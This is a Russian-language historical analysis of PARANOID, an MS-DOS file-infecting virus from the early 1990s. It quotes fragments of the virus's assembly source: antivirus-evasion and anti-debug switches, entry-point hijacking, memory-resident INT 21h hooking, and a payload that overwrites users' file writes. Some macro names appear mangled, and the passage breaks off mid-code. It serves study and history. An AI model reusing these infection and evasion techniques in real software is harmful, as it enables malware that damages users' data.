В эпоху, когда компьютеры только начинали становиться частью повседневной жизни, операционная система MS‑DOS была необычайно популярна. Однако рост количества компьютеров и программ для них стал причиной появления вредоносного софта. Одним из таких вирусов был PARANOID — маленькая безобидная программа, которую полушутя создали двое школьников из Германии. О своём эксперименте они анонимно рассказали Зигфриду Штайнеру. А он поделился с нами.

Может быть, скучная, но важная предыстория

История начинается в начале 1990-х годов, когда два подростка жили в маленьком городке на западе Германии, где разбирающиеся в компьютерах взрослые были невероятной редкостью. Когда ребята впервые заинтересовались компьютерами, им было лет по 11, а компьютерные курсы были доступны только выпускникам средних школ.

Поскольку в то время не было интернета, доступ к информации по определённым темам осуществлялся в основном через руководства к их домашним компьютерам, которые также обучали программированию на языке BASIC, через компьютерные журналы, относительно дорогие книги, которых не было в публичных библиотеках, разрозненную информацию из BBS, а также путём экспериментов.

19 апреля 1992 года ознаменовалось их прорывом в создании Proof of Concept (PoC) для компьютерного вируса. До этого ребята много спорили, по силам ли им создание вируса. Но в итоге им удалось заразить исполняемый файл, автоматически встроив туда свой код. Они смогли добиться, чтобы их фрагмент выполнялся до начала выполнения кода исходной программы.

Вот что рассказывали авторы десятилетия спустя:

«Мы хотели проверить, сможем ли сделать то, что сделали известные люди — те, о ком мы читали, кто создал вирусы, распространяющиеся с компьютера на компьютер по всему миру и о ком писали в компьютерных журналах. Хотели доказать, что можем причинить вред, если захотим, но на самом деле не стремились навредить кому‑либо. За исключением, может быть, тех, кто пытался анализировать и разбирать наш код. Однажды мы сами попали в собственную ловушку, копаясь в коде вируса. Потребовалось много усилий, чтобы восстановить таблицу разделов диска.

Мы не особенно старались и увеличить скорость распространения вируса. Простого знания того, что мы можем, было достаточно. Помимо его самосохранения и функций, препятствующих анализу, вирус был безвредным, поскольку мы отключили большую часть его вредоносных функций при выпуске».

Интересно, что исходный код вируса сохранился и авторы даже готовы были поделиться им. Но поначалу получение исходного кода казалось сомнительным из‑за потери битов на старых устройствах хранения. Его восстановление превратилось в приключение, включающее реконструкцию старого оборудования для преодоления технологического разрыва, созданного отсутствием поддержки современных технологий устаревших стандартов жёстких дисков, фирменных ленточных накопителей и зашифрованных файловых устройств той эпохи. Не буду вдаваться в подробности, но в итоге наша взяла!

С помощью виртуализации, найденного старого оборудования, адаптеров для современных компьютеров и какой‑то там матери мне удалось успешно восстановить исходный код вируса, даже сохранив временные метки оригинальных файлов.

Анализируем вирус

Как же функционировала эта вредоносная программа под названием PARANOID?

Начнём с того, что PARANOID был нацелен на персональные компьютеры под управлением MS‑DOS. Он незаметно внедрялся в программы, которыми обменивались пользователи. Чтобы заразить программы на других компьютерах, вирус должен был путешествовать в качестве незаметного «пассажира» внутри заражённых программ, распространяемых на дискетах.

Оффтоп

В то время наиболее распространённым методом передачи данных было копирование с жёсткого диска одного компьютера на дискеты, а с них — на жёсткий диск другого компьютера. Реже данные перемещались посредством Bulletin Board Systems (BBS). Чаще всего распространялись игры, утилиты или бизнес‑приложения. Как правило, это были исполняемые файлы *.EXE или *.COM.

Вследствие повсеместной практики пиратства ПО компьютерный вирус нашёл широкие возможности для распространения с одного компьютера на другой, тайно используя носитель либо сами данные. Вирусы могли заражать загрузочный сектор дискеты и заражать сами данные, хранящиеся на дискетах, особенно исполняемые программы.

Впрочем, выпущенная версия PARANOID была настроена так, чтобы не наносить никакого вреда. Вирус просто путешествовал с компьютера на компьютер, распространяясь сам по себе. Как записка в бутылке, он нёс зашифрованную текстовую строку, которую нужно было расшифровать, если получится расковырять код.

Как правило, компьютерные вирусы запускаются по истечении определённого времени инкубации, вызывая различные проблемы — от раздражающих пользователей экранных сообщений до нарушения работы компьютера или повреждения данных и даже вывода системы из строя. Сроки инкубации и соответствующие вредоносные действия компьютерного вируса подбираются очень тщательно, ведь слишком ранний запуск может ограничить распространение вируса, в то время как слишком поздний запуск — привести к тому, что вирус обнаружит антивирусное ПО и просто не даст ему запуститься.

В PARANOID была интересная функциональность: счётчик генерации вируса. Он помогал определять распространяемость вируса, увеличивая число сгенерированных вирусов на единицу для всех потомков основного, «родительского» вируса.

Давайте рассмотрим упрощённую схему функционирования вируса, заражающего файлы. Вирус типа PARANOIDобычно проходит следующие этапы:

Шаг

Описание

Запуск

Сначала разработчик вируса заражает программу, которая с этого момента становится «нулевым пациентом». Затем этот пациент распространяет вирус дальше, через дискету или BBS.

Активация

Когда заражённая программа копируется и выполняется на компьютере, вирус становится активным, начиная работать в новой среде.

Распространение

После активации вирус заражает подходящие программы на хосте, внедряя в них свою копию и манипулируя их путями выполнения таким образом, чтобы вирус активировался при следующем запуске этих программ.

Действие

После окончания инкубационного периода вирус реализует свой злой замысел в отношении инфицированного хозяина. В противном случае он ведёт себя максимально незаметно.

Путешествие

Цикл похож на «Активацию», но теперь заражённый хост распространяет вирус при дальнейшем использовании заражённых программ, например, через копирование её на дискету или передачу через BBS.

Анализируем исходный код

При взгляде на исходный код PARANOID сразу бросается в глаза крайне едкая документация. Но без неё было никак, иначе существовал риск того, что ассемблерный код окажется непонятным при чтении в будущем. Код писали на ассемблере x86, затем его собирали с помощью Turbo Assembler (TASM) от Borland в машинный код, который мог бы работать на IBM PC‑совместимых компьютерах.

Язык ассемблера известен своим низким потреблением памяти и высокой производительностью, поскольку он позволяет избежать накладных расходов, присущих языкам программирования высокого уровня. Это делает его идеальным языком для программирования компьютерных вирусов, которые должны были действовать как можно незаметнее на компьютерах того времени.

Первый раздел исходного кода содержит символьные определения констант, включая переключатели времени сборки, что свидетельствует о модульном дизайне вируса и структурированном подходе к решению сквозных проблем. Функции можно было активировать или деактивировать, установив эти параметры в 1 (включено) или 0 (отключено) перед запуском ассемблера, что позволило создать индивидуальный исполняемый вирус: Эти параметры дают первое впечатление о возможностях вируса.

...
;------------------------------------------------------------------------------
;Wilde Schalter-Orgie:
;------------------------------------------------------------------------------
DOS_VIA_5D00 EQU 1      ;INT 21h-Funktionen über DOS-Funktion AX=5D00h aufrufen
MIT_CODER    EQU 1      ;Coderfunktionen in den Virus einbinden?
OWN_STAPEL   EQU 1      ;Eigenen Stapel für den residenten Teil ?
CHK4WIN      EQU 1      ;Testen, ob es sich um ein Windows-Programm handelt
CHK4SIZE     EQU 1      ;Host-Progs nicht unter MAX_SIZE Bytes infizieren!
SHIFT_SLICE  EQU 1      ;32-Bit-Wert mit den Infektionsintervallen
;------------------------------------------------------------------------------
VSAFE_EXIT   EQU 1      ;VSAFE INT 13h & 21h-Überwachung übergehen
IMPF2INFIZ   EQU 1      ;Trotz CPAV/TNT-Impfung infizieren und täuschen
;------------------------------------------------------------------------------
KEIN_DEBUG   EQU 1      ;Debugger-Fallen einfügen?
HIDE_CODE    EQU 1      ;Diverse Routinen vor dem Sourcer verstecken
STREU_DUMMY  EQU 1      ;Dummybytes streuen um TD zu täuschen ?
;------------------------------------------------------------------------------
PUMPVOLL     EQU 1      ;Beim DOS_WRITE den Schreibpuffer mit Text füllen !!!
DATUM_BOMBE  EQU 1      ;Datums-Test mit anschl. Reset und LOESCH_HD einfügen?
;------------------------------------------------------------------------------
LOESCH_HD    EQU 0      ;Wenn LOESCH_HD = 1, dann auch HD-Löschen möglich !!!
...

Некоторые параметры были призваны скрыть вирус от антивирусного ПО: например, вызов функций MS-DOS необычным способом (DOS_VIA_5D00), шифрование вируса (MIT_CODER), отключение антивирусной защиты в реальном времени (VSAFE_EXIT) и обход антивирусной защиты от прививок (IMPF2INFIZ). Ещё один параметр был направлен на предотвращение заражения маленьких файлов, чтобы избежать заметного изменения размера (CHK4SIZE). Чтобы помешать анализу, были использованы ключи, предотвращающие отладку (KEIN_DEBUG), усложняющие отладку путём добавления вводящего в заблуждение кода (STREU_DUMMY) или мешающие дизассемблированию (HIDE_CODE).

Наконец, некоторые параметры управляли вредоносными действиями вируса. Среди них: произвольная запись заданного текста в файлы, сохраняемые пользователем, вместо его данных (PUMPVOLL), перезагрузка компьютера в определённый день (DATUM_BOMBE) и очистка жёсткого диска перед перезагрузкой (LOESCH_HD).

Настраивая эти параметры, можно было собрать индивидуальную исполняемую версию PARANOID.

Модульная структура PARANOID была реализована с помощью серии объявлений, включающих библиотеки макросов, которые следуют за определениями символьных констант. Эти библиотеки не были сторонним кодом; скорее, они представляли функциональность, которая часто использовалась или извлекалась из основного исходного кода для улучшения удобства обслуживания.

            ...
            INCLUDE CODER.INC                   ;Polymorpher Codierer
            INCLUDE MS-DOS.INC                  ;DOS-Aufrufe
            INCLUDE RND.INC                     ;Zufallsgenerator
            INCLUDE TSR.INC                     ;TSR-Funktionen
            INCLUDE VAR.INC                     ;Variablendefinitionen
            INCLUDE VIRMACS.INC                 ;Virus-Funktionen
            ...

Изучение библиотек макросов, входящих в состав PARANOID, позволило узнать, из чего этот вирус состоит. Библиотека CODER.INC предоставляла функциональность полиморфного декодера (активируемую при помощи MIT_CODER) для записи вирусных данных, добавляемых к основной программе, в постоянно меняющихся комбинациях, предотвращая появление постоянных последовательностей байтов, которые антивирусное ПО могло бы использовать для однозначной идентификации заражённых файлов.

Такой подход позволил PARANOID успешно избегать обнаружения любым ПО, полагающимся на сигнатуры вирусов. Библиотека TSR.INC позволяла PARANOID оставаться в памяти, а затем перехватывать запущенные программы — функция, напрямую не поддерживаемая MS‑DOS. Это помогало вирусу скрывать доступ к жёсткому диску и дисководу, сопоставляя его с шаблонами доступа прерванной программы.

Библиотека DOS.INCпредоставляла удобный доступ к «API» MS‑DOS для таких задач, как резервирование памяти и доступ к жёстким дискам или дисководам при заражении потенциальных программ‑хостов.

Библиотеки

Функциональность

CODER.INC

Обеспечивает обфускацию уникальных подписей и полиморфное декодирование

DOS.INC

Предоставляет библиотеку часто используемых вызовов MS-DOS

RND.INC

Генерирует случайные числа

TSR.INC

Оставаться в памяти и подключаться к вызовам MS-DOS для заражения

VAR.INC

Необходимые магические числа и определения структур данных

VIRMACS.INC

Предлагает общие функции, полезные для борьбы с компьютерными вирусами.

Вирус был разделён на модули, то есть библиотеки действовали как модули, обеспечивая часто используемую и проверенную функциональность, которая позволяла понимать исходный код вируса и поддерживать его. Модульность также упрощает отладку и тестирование, поскольку модули можно тестировать изолированно перед интеграцией.

Поскольку авторы вируса были самыми натуральными школьниками, у них не было никаких знаний о методах разработки, кроме тех, что они почерпнули из различных источников (учитывая, что интернет в то время был им недоступен). Более того, никто из их окружения не имел ни малейшего представления о том, как разрабатывается программное обеспечение.

Они часто сидели вдвоём перед одним компьютером, поскольку ноутбуки были слишком дорогими. Иногда один садился за клавиатуру и программировал, помогая другому, а иногда они менялись ролями. Другими словами, они по очереди занимали «место водителя», что напоминает технику парного программирования. Вот такая вот была методология разработки вируса.

Проверка концепции (PoC)

В первую очередь ребята хотели доказать самим себе, что они могут написать код, способный заражать другие программы и не влиять на их функциональность. При этом гарантируя, что внедрённый код будет выполняться первым при запуске заражённых программ.

Для этого требовалось определить точку входа произвольной программы и перенаправить её на внедрённый (добавленный) код. После выполнения вредоносного кода управление должно было быть передано обратно в исходную точку входа.

...
;------------------------------------------------------------------------------
; COM oder EXE-Strategie:
;------------------------------------------------------------------------------
            CMP BYTE PTR CS:[OFFSET COMEXE+BP],1 ;COM oder EXE?
            JZ EXE_STRT                          ;--> EXE-Start

;------------------------------------------------------------------------------
; COM: Start-BYTES des Hostprogs restaurieren, rücksprung setzen:
;------------------------------------------------------------------------------
            MOV WORD PTR CS:[HOST_SEG+BP],CS    ;SEG auf <CS>
            LEA SI,COM_START[BP]                ;<SI> mit Adresse des orig-COM
            MOV DI,100H                         ;Ziel auf den COM-Start
            MOV CX,3                            ;3 Durchläufe
            REP MOVSB                           ;Kopieren!
            JMP TEST_DEB                        ;JMP --> TEST_DEB
            IF STREU_DUMMY                      ;-->
              DB 80H                            ;Falsche Befehle !!! (nur TD)
            ENDIF                               ;<--
;------------------------------------------------------------------------------
; EXE: Rücksprung zum Host vorbereiten:
;------------------------------------------------------------------------------
EXE_STRT:   MOV AX,CS                           ;Aktuelles <CS>
EXE_SEG     EQU $+1                             ;EXE_SEG auf die 0 von SUB AX,0
            SUB AX,0                            ;Rücksprung vorbereiten (SEG)
            MOV CS:[HOST_SEG],AX                ;Diff zw. Virus und Host
...

Из-за различий в структуре COM-файлов и EXE-файлов их код должен был восстанавливать все изменения, внесенные в зараженную программу после выполнения, в зависимости от типа заражаемой программы. Путь выполнения COM-файла по умолчанию всегда начинается с адреса 0x100.

Чтобы PARANOID взял управление на себя, команда перехода, указывающая на код вируса, должна была перезаписать байты по адресу 0x100, чтобы вирус был вызван при выполнении программы. Затем эти байты восстанавливались вирусом перед передачей управления обратно исходной программе по адресу 0x100.

С другой стороны, файл EXE имеет специальный заголовок, предшествующий самой программе. В этом заголовке, помимо прочего, объявляется точка входа в программу. В этом случае PARANOID должен был запомнить эту точку входа, вставить свою собственную точку входа в заголовок и после успешного выполнения вернуться к исходной точке входа, которая была записана в заголовке.

Активация и распространение

После того, как они освоили этап запуска, который активировал их код сразу после выполнения основной программы, ребята сосредоточились на механизме распространения. Изначально дуэт начал с кода, который добавлялся к основной программе. Этот код мог подключаться к любой произвольной программе.

Ключевое отличие заключалось в том, что вирусный код вместо использования заранее определённой программы для заражения теперь должен был выбирать целевую программу(‑ы) из сотен файлов *.COM и *.EXE, хранящихся на жёстких дисках и дискетах компьютера. Применяя соответствующий алгоритм, они заметили, что вирус будет заражать одну и ту же программу несколько раз, если их алгоритм при последующем запуске укажет на ранее заражённый файл.

Требовалось предотвращение самозаражения. Оценивая результаты тестовых испытаний (многократное заражение одной и той же программы), выявляя любые проблемы во время тестирования и устраняя их (добиться того, что программа заражается лишь один раз) перед следующими испытаниями, они итеративно внедряли новые инкременты вируса.

Чтобы предотвратить двойное заражение, вирус может проверять специфические характеристики потенциальных объектов атаки, чтобы выявить и пропустить уже заражённые программы. Обычно это достигается за счёт наличия у вируса уникальной сигнатуры, известной самому вирусу. Однако PARANOID стремился избежать обнаружения антивирусным ПО по уникальным сигнатурам, используя полиморфный декодер (об этом говорит входящая в комплект библиотека CODER.INC, которую рассмотрим далее).

...
ID_SUM      EQU "A"+"S"  ;Summe der Kennbytes
...

Вместо того чтобы использовать уникальную подпись, программисты решили применить другой подход. Они оценивали два последних байта целевой программы и проверяли, совпадает ли их сумма со строго определённым значением. Это значение представляло собой сумму ASCII-значений букв «A» и «S», означающих «Antivirus Signature» и складывающихся в 0x76 (что в десятичном исчислении равно 118).

...
;------------------------------------------------------------------------------
; ID_WORD  testen (keine Doppelinfektion!):
;------------------------------------------------------------------------------
            MS-DOS_FSEEK BX,2,0FFFFH,(-2)          ;FPtr aufs Fileende-2
            JC N_CLOSE                          ;zurücksetzen.
            MS-DOS_FREAD BX,2,DS,<OFFSET PUFFER>   ;Datei einlesen (ID_WORD?)
            JC N_CLOSE                          ;FEHLER --> CLOSE

            MOV AL,BYTE PTR CS:[PUFFER]         ;1. Byte des ID_WORDS?
            ADD AL,BYTE PTR CS:[PUFFER+1]       ;2. Byte des ID_WORDS?
            CMP AL,ID_SUM                       ;Wenn JA --> AL=ID_SUM!
            JZ N_CLOSE                          ;ID_SUM erkannt --> CLOSE
...

Любая двухбайтовая комбинация, которая в сумме даёт 0x76, служила сигнатурой, что позволяло использовать 118 вариантов. Этот подход позволял избежать использования уникальной сигнатуры, но при этом гарантировал, что программы не будут повторно заражены. Была ещё вероятного того, что некоторые программы не заразятся, если сумма их последних двух байт случайно окажется равной 0x76.

Ранние версии PARANOID, в которых не использовался полиморфный декодер, просто проверяли, отсутствует ли предопределённая неизменяемая последовательность из двух байт в конце каждого файла, прежде чем заразить его.

TSR

MS‑DOS — это однопользовательская и однопроцессная операционная система. Она была разработана для того, чтобы компьютер одновременно мог обслуживать только один пользователь и запускать одну программу за раз. Это означало, что вирус обычно был активен в течение очень короткого периода времени, в основном сразу после запуска заражённой программы.

Если заражённая программа запускалась с жёсткого диска, а вирус пытался заразить программы на дискете, активность дисковода, скорее всего, была бы замечена пользователем, что быстро выявило бы присутствие вируса. Поэтому методы заражения программ на съемных носителях (дискетах) не должны были вызывать подозрений.

Лучшее время для заражения файлов на вставленной дискете — когда пользователь уже обращается к дисководу при выполнении обычных задач. В этот момент активность вируса имеет больше шансов остаться незамеченной. Но для этого вирусу нужно было оставаться активным после завершения работы программы‑хозяина. Для этого использовалась техника под названием Terminate‑and‑Stay‑Resident (TSR).

TSR не ограничивался вирусами, он широко использовался утилитами и вспомогательными программами. Эти программы подключались к подпрограммам компьютерной системы, оставались в памяти после завершения работы и запускались снова при вызове этих подпрограмм.

Вирусы типа PARANOID использовали TSR, чтобы незаметно подключаться к процедурам операционной системы для доступа к носителям информации. Чтобы перехватить эти процедуры, вирус должен был оставаться в памяти после завершения работы хост‑программы. Чтобы предотвратить перезапись своей памяти другими программами, вирус резервировал выделенный блок памяти и маскировал его под компонент операционной системы. Для этого PARANOID «крал» память у программы‑хозяина, если в системе не оставалось достаточно свободной памяти для вируса.

Вирус пытался зарезервировать память, чтобы оставаться резидентным после завершения работы хост‑программы, сначала пытаясь выделить память напрямую с помощью соответствующего вызова MS‑DOS. Если это не удавалось, он уменьшал размер блока памяти хост‑программы, снова используя вызов MS‑DOS, чтобы освободить необходимую память. После успешного выделения памяти любым из способов вирус копировал себя во вновь выделенный блок памяти, чтобы остаться в нём.

...
;------------------------------------------------------------------------------
; Resident MACHEN des Virus:
;------------------------------------------------------------------------------
NICHDRIN:   MS-DOS_GETMEM MIN_ALLOC,AX             ;Block reserviren
            JNC ALLOC_OK                        ;KEIN FEHLER --> ALLOC_OK
;------------------------------------------------------------------------------
; Vom HOST-Programm Speicher klauen:
;------------------------------------------------------------------------------
            POP AX                              ;<DS> vom STACK in <AX>
            PUSH AX                             ;<DS> wieder sichern
            DEC AX                              ;<ES> auf den MCB
            MOV ES,AX                           ;zeigen lassen
            MOV BX,WORD PTR ES:[MCB_SIZE]       ;Größe des Blocks ermitteln
            SUB BX,MIN_ALLOC+1                  ;Block weniger MIN_ALLOC
            POP ES                              ;<ES> auf <DS>
            PUSH ES                             ;<DS> wieder sichern
            MOV AH,4AH                          ;Blockgröße ändern, <BX>=neue
            MS-DOSE                                ;Größe, <ES>=SEG des RAM-Blocks
            JC F_ENDE                           ;FEHLER --> ENDE
            MS-DOS_GETMEM MIN_ALLOC,AX             ;Block reserviren
            JNC ALLOC_OK                        ;OK --> ALLOK_OK
F_ENDE:     JMP ENDE                            ;FEHLER --> ENDE
            IF STREU_DUMMY                      ;-->
              DB 80H                            ;Falsche Befehle !!! (nur TD)
            ENDIF                               ;<--

;------------------------------------------------------------------------------
; PSP-Eintrag (verfügbarer Speicher) des Hosts aktualisieren:
;------------------------------------------------------------------------------
ALLOC_OK:   SUB WORD PTR ES:[PSP_MEM],MIN_ALLOC+1 ;Hostblock minus Virus

;------------------------------------------------------------------------------
; Virus in den SPEICHER kopieren:
;------------------------------------------------------------------------------
            MOV ES,AX                           ;<ES> auf den neuen Block
            MOV SI,BP                           ;Quell-OFS: [DS:SI]
            XOR DI,DI                           ;Ziel-OFS: [ES:DI]
            MOV CX,MIN_BYTES                    ;MIN_BYTES Durchläufe!
            REP MOVSB                           ;Kopieren!
;------------------------------------------------------------------------------
; BLOCK als belegt kennzeichnen / Aktiv auf NICHT Aktiv setzen!:
;------------------------------------------------------------------------------
            DEC AX                              ;<AX>: OFS-Block --> OFS-MCB
            MOV DS,AX                           ;<DS> auf MCB des neuen Blocks
            MOV WORD PTR DS:[MCB_PSP],8         ;Block=belegt (DOS)
            MOV BYTE PTR ES:[AKTIV],0           ;Aktiv-FLAG auf Null!!!
            RNDINIT ES:[INITWERT]               ;RND-Init-Werte speichern
...

Блок управления памятью (MCB), описывающий выделенную память, обновлялся и помечал этот блок с вирусом как выделенный. Это обеспечивало сохранение вируса в памяти и не позволяло другим программам перезаписать его. Код минимизировал внимание к присутствию вируса, заставляя вновь зарезервированный блок памяти выглядеть так, как будто он принадлежит MS‑DOS. Поскольку резидентная часть вируса, подключающаяся к функциональности MS‑DOS, ещё не активна, флаг AKTIV инициализировался в false.

Активация вируса

Для активации после завершения работы хост-программы вирус подключался к подпрограммам MS-DOS, в том числе для доступа к устройствам хранения данных, перенаправляя вызовы INT 21h MS-DOS на код-перехватчик вируса. INT 21h — это прерывание, через которое происходит обращение к основным функциям DOS. Оно обеспечивает доступ к системе ввода-вывода, управляемой DOS.

Код вируса, перенаправляющий INT 21h, использовал стратегию косвенного обращения, чтобы скрыть источник вируса в памяти. Он перехватывал прерывание MS-DOS 21h, изменив вектор INT 21h таким образом, чтобы он указывал на команду jump, размещённую в первом блоке управления памятью (MCB), используемом MS-DOS для управления распределением памяти. Эта команда перенаправила управление на код вируса (NEU 21), что позволило вирусу перехватывать системные вызовы MS-DOS и иметь возможность манипулировать ими.

...
;------------------------------------------------------------------------------
; INT 21H umbiegen:
;------------------------------------------------------------------------------
; Aufruf von INT 21H ──> Vektor zeigt auf das 5.BYTE des ersten MCB ──> JMP
; ──> Sprung zum eigentlichen Virus... INT 21H zeigt somit in den 1. MCB
;------------------------------------------------------------------------------
            MOV AH,52H                          ;DOS INFORMATION BLOCK (DIB)
            MS-DOSE                                ;ermitteln, undokumentiert.
...
            MOV AX,ES                           ;<ES> in <AX>
            DEC AX                              ;<AX> verkleinern
            MOV ES,AX                           ;<ES> somit verkleinert!
            ADD BX,12                           ;OFS auf den ersten MCB
            LES BX,ES:[BX]                      ;Erste MCB in <ES>/<BX>
                                                ;OFS auf das 1. ungenuzte BYTE
            ADD BX,5                            ;im MCB.
            MOV BYTE PTR ES:[BX],0EAH           ;Direct JMP
            MOV WORD PTR ES:[BX+1],OFFSET NEU21 ;OFS setzen
            MOV WORD PTR ES:[BX+3],DS           ;SEG setzen!
;------------------------------------------------------------------------------
            XOR AX,AX                           ;<DS> wieder...
            MOV DS,AX                           ;...auf SEG 0
            MOV WORD PTR DS:[21H*4+2],ES        ;SEG für INT 21H biegen
            MOV WORD PTR DS:[21H*4],BX          ;OFS für INT 21H biegen
;------------------------------------------------------------------------------
...

Этот подход сработал благодаря тому, как MS‑DOS управляет памятью и системными ресурсами. Информационный блок MS‑DOS (DIB), получаемый с помощью недокументированного вызова INVARS (номер функции 52h) для INT 21h, содержит указатели и структуры данных, включая адрес сегмента первого MCB. Первый MCB присутствует всегда и является критическим для операций MS‑DOS, что делает его надежной точкой подключения.

Вирус использовал эту структуру MCB, чтобы скрывать своё присутствие, не указывая в записи таблицы дескрипторов прерываний для INT 21h прямую ссылку на свой код. Вместо этого он вставлял в первый MCB инструкцию перехода, перенаправляющую на код вируса. Запись таблицы дескрипторов прерываний для INT 21h была затем установлена на адрес этой команды перехода в первом MCB.

Перенаправление INT 21h позволяло вирусу перехватывать любые системные вызовы MS‑DOS, позволяя ему отслеживать, изменять или перенаправлять операции по мере необходимости. Всякий раз, когда к жёстким дискам или дисководам обращались через INT 21h, PARANOID проверял потенциальные хост‑программы и заражал их, не вызывая подозрений из‑за необычной активности оборудования.

Макрос TSR.INC, используемый PARANOID, обрабатывал сохранение (отправку в стек) состояния процесса прерванной программы при получении управления и восстановления (извлечение из стека) состояния прерванного процесса при передаче управления обратно программе.

            TITLE TSR.INC

;┌────────────────────────────────────────────────────────────────────────────┐
;│ PUSHALL:                                                                   │
;│----------------------------------------------------------------------------│
;│ Alle Register auf den Stack schieben.                                      │
;└────────────────────────────────────────────────────────────────────────────┘
PUSHALL     MACRO

            IFNDEF VIRUS
              PUSHF
            ENDIF
            PUSH AX
            PUSH BX
            PUSH CX
            PUSH DX
            PUSH DS
            PUSH ES
            PUSH DI
            PUSH SI
            PUSH BP

            ENDM

;┌────────────────────────────────────────────────────────────────────────────┐
;│ POPALL:                                                                    │
;│----------------------------------------------------------------------------│
;│ Alle Register vom Stack ziehen.                                            │
;└────────────────────────────────────────────────────────────────────────────┘
POPALL      MACRO

            POP BP
            POP SI
            POP DI
            POP ES
            POP DS
            POP DX
            POP CX
            POP BX
            POP AX
            IFNDEF VIRUS
              POPF
            ENDIF

            ENDM

Распространение

Поскольку PARANOID оставался в памяти и становился активным только при обращении к носителям информации, он мог незаметно для пользователя заражать программы на дискетах.

Вирус заражал носитель только в том случае, если пользователь обращался к нему во время выполнения повседневных задач. Это делалось путём подключения к процедуре INT 21h для выполнения программы. Всякий раз, когда требовалось получить доступ к COM‑ или EXE‑программе, вирус определял, заражать её или нет (не каждая запущенная программа заражалась, чтобы не поднимать лишнего шума).

Вредонос сначала проверял, является ли выполняемый вызов функции MS‑DOS функцией EXEC (номер функции 4B00h), используемой для загрузки и выполнения программы. Эта проверка была призвана сбить с толку эвристические функции антивирусных программ, сравнивая XOR‑вариант 4B00h с XOR‑вариантом реального номера функции. Затем проверял имя файла, чтобы определить, должен ли он быть заражён, ориентируясь только на COM‑ или EXE‑файлы.

...
;------------------------------------------------------------------------------
; EXEC-Aufruf (DOS-Funktionsnum 4B00h)? Es wird mit dem verschlüsselten <BP>
; verglichen, um F-PROT (etc.) durcheinander zu bringen ??? (Hoffentlich!)
;------------------------------------------------------------------------------
            ;CMP BYTE PTR SS:[BP+1],(43H XOR 13H) ;DOS_GET/SET-ATTR ?
            ;JE GO_INF
            CMP SS:[BP],(4B00H XOR 1313H)       ;DOS_EXEC ?
            JNE END21POP

;------------------------------------------------------------------------------
;EXE oder COM oder keins von beidem (Extension und Exeptionnames testen):
;<DS:DX>: Adr. des Filenamens, CS:[SCAN]: OFS von nicht zu infizierenden Files
;(Namen), END21POP: Wenn Filename nicht tauglich --> END21POP.
;------------------------------------------------------------------------------
GO_INF:     FNAME_TEST DS,DX,CS:[SCAN],ANZ_SCAN,END21POP ;FNamen testen

;??????????????????????????????????????????????????????????????????????????????
; 32-BIT wert in SLICE eimal nach LINKS drehen. Wenn im HI-Bit dieses 32-BIT
; Wertes eine 1 steht, dann wird der Host infiziert !!!
;??????????????????????????????????????????????????????????????????????????????
            IF SHIFT_SLICE
              MOV AX,WORD PTR CS:[SLICE]        ;HI-WORD von SLICE
              MOV CX,WORD PTR CS:[SLICE+2]      ;LO-SLICE in <CX>

              PUSH AX                           ;HI-SLICE merken
              SHL AX,1                          ;HI-HI-BIT ins CF
              POP AX                            ;Original HI-SLICE zurück
              RCL CX,1                          ;LO-SLICE mit HI-HI-BIT drehen
              RCL AX,1                          ;HI-SLICE mit LO-HI-BIT dreheb

              MOV WORD PTR CS:[SLICE],AX        ;HI-SLICE in <AX>
              MOV WORD PTR CS:[SLICE+2],CX      ;LO-SLICE in <CX>

              SHL AX,1                          ;HI-BIT ins CF
              JNC END21POP                      ;Wenn CF=1 --> END21POP
            ENDIF
;??????????????????????????????????????????????????????????????????????????????
            JMP START_VIR                                ;START_VIR
            IF STREU_DUMMY                               ;-->
              DB 80H                                     ;Falsche Befehle !!! (nur TD)
            ENDIF     
...

Затем код выполнял битовый сдвиг на предопределенном 32-битном значении, и только если был установлен старший бит повёрнутого значения, хост заражался. Шаблон этого предопределённого значения определял вероятность заражения потенциальных хостов. START_VIR должен был присоединить вирус к недавно идентифицированному хосту, обеспечивая предотвращение двойного заражения и сохраняя исходные атрибуты файла, такие как дата изменения.

Поскольку PARANOID уже подключился к INT 21h, его активность также будет вызвана этим подключением, на этот раз при выполнении операций записи, но только при активированном переключателе PUMPVOLL. Следовательно, перехватчик не только заражал бы другие программы во время вызовов EXEC (функция номер 4B00h), но и проверял бы, выполняла ли пользовательская программа операцию записи (функция номер 40h). Эта проверка снова была предназначена для того, чтобы запутать эвристические функции антивирусного программного обеспечения, сравнивая вариант 40h, обработанный с помощью операции XOR, с версией фактического номера функции, обработанной с помощью операции XOR.

...
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
; Datei schreiben ? Wenn ja --> FILLFILE
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
            IF PUMPVOLL
              CMP BYTE PTR SS:[BP+1],(40H XOR 13H) ;DOS_FWRITE ?
              JNE KEIN_FWRITE
              JMP FILLFILE                      ;JA --> FILLFILE
KEIN_FWRITE   EQU $
            ENDIF
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX 
...

Обнаружив операцию WRITE, PARANOID проверял, стоит ли запускать процесс заражения. В частности, он пропускал операцию, если она была направлена на стандартный поток вывода MS-DOS. Кроме того, триггер активировался только в том случае, если счётчик генерации был кратен четырём.

...
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
; Wenn die Auslösebedingung erfüllt wird, dann den von der Anwendung auf Disk
; zu schreibende WRITE_BUFFER mit unserem Text füllen!!! Somit besteht der
; dann geschriebene Block nur noch aus dem neuen Text !!!!
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
            IF PUMPVOLL
;XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
FILLFILE:     CMP CS:[TRIGGER],0                ;[TRIGGER] wird nach x Kopien
              JZ END21POP                       ;unwiederruflich auf 1 gesetzt.
              MOV AL,BYTE PTR CS:[KOPIE]        ;Testen, ob der Kopienzähler
              AND AL,011B                       ;teilbar durch 4 ist !!!
              JNZ END21POP                      ;NEIN --> END21POP
              CMP BX,4                          ;Handle=Standard Ausgabe etc?
              JBE END21POP                      ;JA --> END21POP
